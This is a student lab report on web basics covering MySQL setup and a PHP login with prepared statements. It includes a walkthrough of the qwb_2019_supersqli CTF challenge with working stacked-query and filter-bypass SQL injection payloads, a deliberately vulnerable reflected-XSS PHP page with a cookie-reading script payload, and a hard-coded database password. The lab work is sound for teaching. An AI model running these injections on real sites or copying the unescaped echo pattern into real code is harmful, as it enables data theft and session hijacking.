175210闵天 《网络对抗技术》Exp8 Web基础
实践目标
本实践目标是构建 Web 服务,并进行一些简单的攻击实践
实践过程
web 前端
用 React 写了一个注册界面,放在了nginx 上,如下:
http://47.94.47.203:8080/register
web 后端
一、Mysql 基础 (Mysql 8 版本)
我 linux 上默认装的是 psql ,就在 windows 主机上装了一个 mysql
-
输入
show databases,查看有多少数据库![]()
-
使用
CREATE USER 'username'@'server' IDENTIFIED BY 'password';来创建新用户![]()
-
使用
GRANT (SELECT, update……) ON 数据库名.表名 TO '用户名'@'数据库IP';给新用户授权![]()
-
使用新建的用户登录
![]()
二、编写PHP网页
-
windows下启动phpphp-cgi.exe -b 127.0.0.1:9000![]()
-
配置
nginx![]()
-
在
上图中的 root下创建index.php,内容为<?php echo phpinfo(); ?>浏览器打开,可见
![]()
-
大多数情况下还是使用
phpStorm,其会自动调用php-cgi.exe,并监听9000端口 -
php简单的登录功能php是一个安全问题非常严重的弱类型语言,操作数据库的底线是采用预处理。这里我使用PDO 预处理// index.php <?php $user_name = $_POST['username']; $password = $_POST['password']; $servername = "localhost"; $db_user = "root"; $db_password = "hwqmingdi"; $dbname = "blog"; try { $conn = new PDO("mysql:host=$servername;dbname=$dbname", $db_user, $db_password); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $conn->prepare("SELECT * FROM users where username = ? and password = ?"); $stmt->execute(array($user_name, $password)); // 设置结果集为关联数组 $result = $stmt->fetchAll(); if (count($result) > 0) { echo "Welcome " . $result[0]['username']; } else { echo "login fail"; } } catch(PDOException $e) { echo "Error: " . $e->getMessage(); }将
form中的action写为login.php,就可以登录![]()
![]()
sql 注入
这里我们看这道题 https://github.com/glzjin/qwb_2019_supersqli

-
首先探测参数引号闭合规则
1' and 1=1# // true 1' and 1=2# // false可见参数采用单引号闭合
![]()
-
尝试获取列数
1' order by 2# //正常 1' order by 3# // 报错![]()
可以发现列数为 2 列
-
试一试
union查询1' union select user()#![]()
发现
select等被过滤了 -
试一试堆叠查询
-1';show tables#![]()
我们可以看到数据库中有两个表,数组的第一项就是表名
-
堆叠注入查看表的字段
-1';desc `1919810931114514`# -1';desc `words`#![]()
![]()
-
我们要得到表
1919810931114514的flag字段。但是,select已经被过滤掉了。这里我们可以采用mysql的预编译语法,如下:set用于设置变量名和值 prepare用于预备一个语句,并赋予名称,以后可以引用该语句 execute执行语句 deallocate prepare用来释放掉预处理的语句采用
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#得到结果
![]()
-
strstr()函数把prepare和set过滤了,但是查阅资料,可以发现strstr这个函数区分大小写,我们将set,prepare大写即可-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#得到结果,注入成功
![]()
xss
对 xss 没有研究,只知道可以利用输入框等插入恶意代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input" style="width: 300px;">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?>
</body>
</html>
可以在 <input/> 中输入 <script>alert(document.cookie);</script>
页面加载时会自动执行 <script> 内的语句,从而弹出 cookie


实验总结与问题回答
什么是表单
- 表单可以进行前台向后台的数据传输。
- 表单有三个基本组成部分:
- 表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
- 表单域:包含文本框、密码框、多行文本框等一系列表单形式。
- 表单按钮:包含提交按钮,复位按钮以及一般按钮
浏览器可以解析运行什么语言
首先,各脚本语言(php,asp 等)并不是浏览器解析运行的。
浏览器可以自解析运行的有
- html
- javascript
- css
WebServer支持哪些动态语言
tomcat支持的有jspiis支持aspx


















浙公网安备 33010602011771号